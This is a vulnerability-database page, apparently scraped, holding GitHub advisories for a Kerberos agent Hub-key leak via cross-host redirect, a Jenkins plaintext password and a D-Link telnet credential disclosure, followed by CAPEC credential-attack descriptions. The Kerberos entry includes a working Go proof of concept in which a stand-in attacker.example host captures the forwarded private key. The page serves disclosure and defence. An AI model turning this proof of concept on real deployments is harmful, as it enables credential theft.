        client = &http.Client{}   // line 73 — no CheckRedirect
    }

    resp, err := client.Do(req)

HubURI is operator configuration:

HubURI                  string       `json:"hub_uri" bson:"hub_uri"`

Attack scenario

  1. An operator configures the agent with a hub_uri.
  2. That host (or a host reachable from it via redirect) responds to /storage/upload with 302 Found to https://attacker.example/....
  3. client.Do(req) follows the redirect and re-sends the request, including X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey, to attacker.example.
  4. The attacker captures the Hub credentials.

Proof of concept

Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.

package main

import (
    "context"
    "fmt"
    "net"
    "net/http"
    "net/http/httptest"
    "os"
    "strings"
    "sync"

    "github.com/kerberos-io/agent/machinery/src/cloud"
    "github.com/kerberos-io/agent/machinery/src/models"
)

func installResolver(mapping map[string]string) {
    tr := http.DefaultTransport.(*http.Transport).Clone()
    tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
        host, _, _ := net.SplitHostPort(addr)
        if target, ok := mapping[host]; ok {
            addr = target
        }
        return (&net.Dialer{}).DialContext(ctx, network, addr)
    }
    http.DefaultTransport = tr
}

func main() {
    var mu sync.Mutex
    var sawPriv, sawPub string
    attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        mu.Lock()
        sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey")
        sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey")
        mu.Unlock()
        fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path)
        fmt.Printf("[attacker host %s]   X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey"))
        w.WriteHeader(200)
    }))
    defer attacker.Close()

    legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path)
        http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound)
    }))
    defer legit.Close()

    installResolver(map[string]string{
        "legit.example":    strings.TrimPrefix(legit.URL, "http://"),
        "attacker.example": strings.TrimPrefix(attacker.URL, "http://"),
    })

    os.MkdirAll("data/recordings", 0o755)
    os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644)

    cfg := &models.Configuration{
        Config: models.Config{
            HubURI:        "http://legit.example", // operator-configurable base URL
            HubKey:        "PUBLIC-KEY-12345",
            HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK",
            Key:           "device-key",
        },
    }
    cfg.Config.S3.Region = "us-east-1"
    _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4")

    mu.Lock()
    defer mu.Unlock()
    fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv)
    fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey  = %q\n", sawPub)
}

End-to-end reproduction

Pinned to github.com/kerberos-io/agent/machinery@v3.6.25. Verbatim kerberos_hub.go from that tag. Captured stdout:

legit (operator-configured) HubURI = http://legit.example  (-> 127.0.0.1)
attacker host (cross-origin)        = http://attacker.example  (-> 127.0.0.1)
calling cloud.UploadKerberosHub then client.Do
[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)
[INFO] UploadKerberosHub: Upload started for clip.mp4
[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received HEAD /storage/upload
[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)
[legit host legit.example] received POST /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received GET /storage/upload
[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload Finished, 200 OK.
----- RESULT -----
attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
attacker host saw X-Kerberos-Hub-PublicKey  = "PUBLIC-KEY-12345"
LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target
----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----
attacker saw Authorization             = ""  (stdlib strips standard auth header cross-host)
attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"  (custom header NOT stripped -> the bug)

The negative control on the same bare client and same cross-host redirect shows the standard Authorization header is stripped by net/http, while the custom X-Kerberos-Hub-PrivateKey is forwarded — confirming the leak is specific to the custom-named auth header.

Suggested fix

Set a CheckRedirect policy on the client used in UploadKerberosHub (and the other Hub helpers in this file) that strips the X-Kerberos-Hub-PrivateKey / X-Kerberos-Hub-PublicKey headers (and any other custom auth headers) when the redirect target host differs from the original request host:

checkRedirect := func(req *http.Request, via []*http.Request) error {
    if len(via) > 0 && req.URL.Host != via[0].URL.Host {
        req.Header.Del("X-Kerberos-Hub-PrivateKey")
        req.Header.Del("X-Kerberos-Hub-PublicKey")
    }
    return nil
}
client = &http.Client{CheckRedirect: checkRedirect}

A regression test should assert that after a cross-host redirect the X-Kerberos-Hub-PrivateKey header is absent at the final host, and that same-host redirects still carry it.

Fix PR

A fix PR implementing the CheckRedirect strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.

Credit

Reported by tonghuaroot.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kerberos-io/agent/machinery"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260528173546-51f1a52e170f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:33:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Kerberos Hub upload path sends the agent\u0027s Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`\u0026http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go\u0027s `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).\n\n### Impact\n\nThe Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent\u0027s access to Kerberos Hub, including the ability to upload/impersonate the device.\n\n### Vulnerable code (file:line)\n\n`machinery/src/cloud/kerberos_hub.go` \u2014 the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`):\n\n```go\n\t// Check if we are allowed to upload to the hub with these credentials.\n\t// There might be different reasons like (muted, read-only..)\n\treq, err := http.NewRequest(\"HEAD\", config.HubURI+\"/storage/upload\", nil)\n\tif err != nil {\n\t\terrorMessage := \"UploadKerberosHub: error reading HEAD request, \" + config.HubURI + \"/storage: \" + err.Error()\n\t\tlog.Log.Error(errorMessage)\n\t\treturn false, true, errors.New(errorMessage)\n\t}\n\n\treq.Header.Set(\"X-Kerberos-Storage-FileName\", fileName)\n\treq.Header.Set(\"X-Kerberos-Storage-Capture\", \"IPCamera\")\n\treq.Header.Set(\"X-Kerberos-Storage-Device\", config.Key)\n\treq.Header.Set(\"X-Kerberos-Hub-PublicKey\", config.HubKey)\n\treq.Header.Set(\"X-Kerberos-Hub-PrivateKey\", config.HubPrivateKey)   // line 63\n\treq.Header.Set(\"X-Kerberos-Hub-Region\", config.S3.Region)\n\n\tvar client *http.Client\n\tif os.Getenv(\"AGENT_TLS_INSECURE\") == \"true\" {\n\t\ttr := \u0026http.Transport{\n\t\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tclient = \u0026http.Client{Transport: tr}\n\t} else {\n\t\tclient = \u0026http.Client{}   // line 73 \u2014 no CheckRedirect\n\t}\n\n\tresp, err := client.Do(req)\n```\n\n`HubURI` is operator configuration:\n\n```go\nHubURI                  string       `json:\"hub_uri\" bson:\"hub_uri\"`\n```\n\n### Attack scenario\n\n1. An operator configures the agent with a `hub_uri`.\n2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`.\n3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`.\n4. The attacker captures the Hub credentials.\n\n### Proof of concept\n\nDriver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/kerberos-io/agent/machinery/src/cloud\"\n\t\"github.com/kerberos-io/agent/machinery/src/models\"\n)\n\nfunc installResolver(mapping map[string]string) {\n\ttr := http.DefaultTransport.(*http.Transport).Clone()\n\ttr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\thost, _, _ := net.SplitHostPort(addr)\n\t\tif target, ok := mapping[host]; ok {\n\t\t\taddr = target\n\t\t}\n\t\treturn (\u0026net.Dialer{}).DialContext(ctx, network, addr)\n\t}\n\thttp.DefaultTransport = tr\n}\n\nfunc main() {\n\tvar mu sync.Mutex\n\tvar sawPriv, sawPub string\n\tattacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tmu.Lock()\n\t\tsawPriv = r.Header.Get(\"X-Kerberos-Hub-PrivateKey\")\n\t\tsawPub = r.Header.Get(\"X-Kerberos-Hub-PublicKey\")\n\t\tmu.Unlock()\n\t\tfmt.Printf(\"[attacker host %s] received %s %s\\n\", r.Host, r.Method, r.URL.Path)\n\t\tfmt.Printf(\"[attacker host %s]   X-Kerberos-Hub-PrivateKey = %q\\n\", r.Host, r.Header.Get(\"X-Kerberos-Hub-PrivateKey\"))\n\t\tw.WriteHeader(200)\n\t}))\n\tdefer attacker.Close()\n\n\tlegit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Printf(\"[legit host %s] received %s %s -\u003e 302 to attacker.example\\n\", r.Host, r.Method, r.URL.Path)\n\t\thttp.Redirect(w, r, \"http://attacker.example\"+r.URL.Path, http.StatusFound)\n\t}))\n\tdefer legit.Close()\n\n\tinstallResolver(map[string]string{\n\t\t\"legit.example\":    strings.TrimPrefix(legit.URL, \"http://\"),\n\t\t\"attacker.example\": strings.TrimPrefix(attacker.URL, \"http://\"),\n\t})\n\n\tos.MkdirAll(\"data/recordings\", 0o755)\n\tos.WriteFile(\"data/recordings/clip.mp4\", []byte(\"FAKEMP4DATA\"), 0o644)\n\n\tcfg := \u0026models.Configuration{\n\t\tConfig: models.Config{\n\t\t\tHubURI:        \"http://legit.example\", // operator-configurable base URL\n\t\t\tHubKey:        \"PUBLIC-KEY-12345\",\n\t\t\tHubPrivateKey: \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\",\n\t\t\tKey:           \"device-key\",\n\t\t},\n\t}\n\tcfg.Config.S3.Region = \"us-east-1\"\n\t_, _, _ = cloud.UploadKerberosHub(cfg, \"clip.mp4\")\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PrivateKey = %q\\n\", sawPriv)\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PublicKey  = %q\\n\", sawPub)\n}\n```\n\n### End-to-end reproduction\n\nPinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout:\n\n```\nlegit (operator-configured) HubURI = http://legit.example  (-\u003e 127.0.0.1)\nattacker host (cross-origin)        = http://attacker.example  (-\u003e 127.0.0.1)\ncalling cloud.UploadKerberosHub then client.Do\n[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)\n[INFO] UploadKerberosHub: Upload started for clip.mp4\n[legit host legit.example] received HEAD /storage/upload -\u003e 302 to attacker.example\n[attacker host attacker.example] received HEAD /storage/upload\n[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)\n[legit host legit.example] received POST /storage/upload -\u003e 302 to attacker.example\n[attacker host attacker.example] received GET /storage/upload\n[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload Finished, 200 OK.\n----- RESULT -----\nattacker host saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\nattacker host saw X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\nLEAK CONFIRMED: hub private key forwarded to cross-origin redirect target\n----- NEGATIVE CONTROL (same bare \u0026http.Client{}, legit.example -\u003e attacker.example) -----\nattacker saw Authorization             = \"\"  (stdlib strips standard auth header cross-host)\nattacker saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"  (custom header NOT stripped -\u003e the bug)\n```\n\nThe negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded \u2014 confirming the leak is specific to the custom-named auth header.\n\n### Suggested fix\n\nSet a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host:\n\n```go\ncheckRedirect := func(req *http.Request, via []*http.Request) error {\n\tif len(via) \u003e 0 \u0026\u0026 req.URL.Host != via[0].URL.Host {\n\t\treq.Header.Del(\"X-Kerberos-Hub-PrivateKey\")\n\t\treq.Header.Del(\"X-Kerberos-Hub-PublicKey\")\n\t}\n\treturn nil\n}\nclient = \u0026http.Client{CheckRedirect: checkRedirect}\n```\n\nA regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it.\n\n### Fix PR\n\nA fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory\u0027s private temporary fork.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-h5gx-45rj-2h5j",
  "modified": "2026-07-02T17:33:36Z",
  "published": "2026-07-02T17:33:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kerberos-io/agent/security/advisories/GHSA-h5gx-45rj-2h5j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kerberos-io/agent/commit/51f1a52e170f21c1264c6de1dc781d5b5e2a5d09"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kerberos-io/agent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect"
}

GHSA-H5H5-M2MC-J2PV

Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-09 04:51
VLAI
Summary
Plaintext Storage of a Password in Jenkins Elasticsearch Query Plugin
Details

Jenkins Elasticsearch Query Plugin 1.2 and earlier stores a password unencrypted in its global configuration file org.jenkinsci.plugins.elasticsearchquery.ElasticsearchQueryBuilder.xml on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:elasticsearch-query"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-12T18:19:07Z",
    "nvd_published_at": "2022-06-30T18:15:00Z",
    "severity": "LOW"
  },
  "details": "Jenkins Elasticsearch Query Plugin 1.2 and earlier stores a password unencrypted in its global configuration file `org.jenkinsci.plugins.elasticsearchquery.ElasticsearchQueryBuilder.xml` on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.",
  "id": "GHSA-h5h5-m2mc-j2pv",
  "modified": "2022-12-09T04:51:40Z",
  "published": "2022-07-01T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34807"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/elasticsearch-query-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-2073"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Plaintext Storage of a Password in Jenkins Elasticsearch Query Plugin"
}

GHSA-H5MW-6QWR-QV2X

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-13 00:00
VLAI
Details

The D-link router DIR-885L-MFC 1.15b02, v1.21b05 is vulnerable to credentials disclosure in telnet service through decompilation of firmware, that allows an unauthenticated attacker to gain access to the firmware and to extract sensitive data.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-29323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-04T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The D-link router DIR-885L-MFC 1.15b02, v1.21b05 is vulnerable to credentials disclosure in telnet service through decompilation of firmware, that allows an unauthenticated attacker to gain access to the firmware and to extract sensitive data.",
  "id": "GHSA-h5mw-6qwr-qv2x",
  "modified": "2022-07-13T00:00:50Z",
  "published": "2022-05-24T19:04:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29323"
    },
    {
      "type": "WEB",
      "url": "https://cybersecurityworks.com/zerodays/cve-2020-29323-telnet-hardcoded-credentials.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Mitigation
Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Mitigation
Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

CAPEC-102: Session Sidejacking

Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.

CAPEC-474: Signature Spoofing by Key Theft

An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-560: Use of Known Domain Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-600: Credential Stuffing

An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.

CAPEC-644: Use of Captured Hashes (Pass The Hash)

An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.

CAPEC-645: Use of Captured Tickets (Pass The Ticket)

An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-653: Use of Known Operating System Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.

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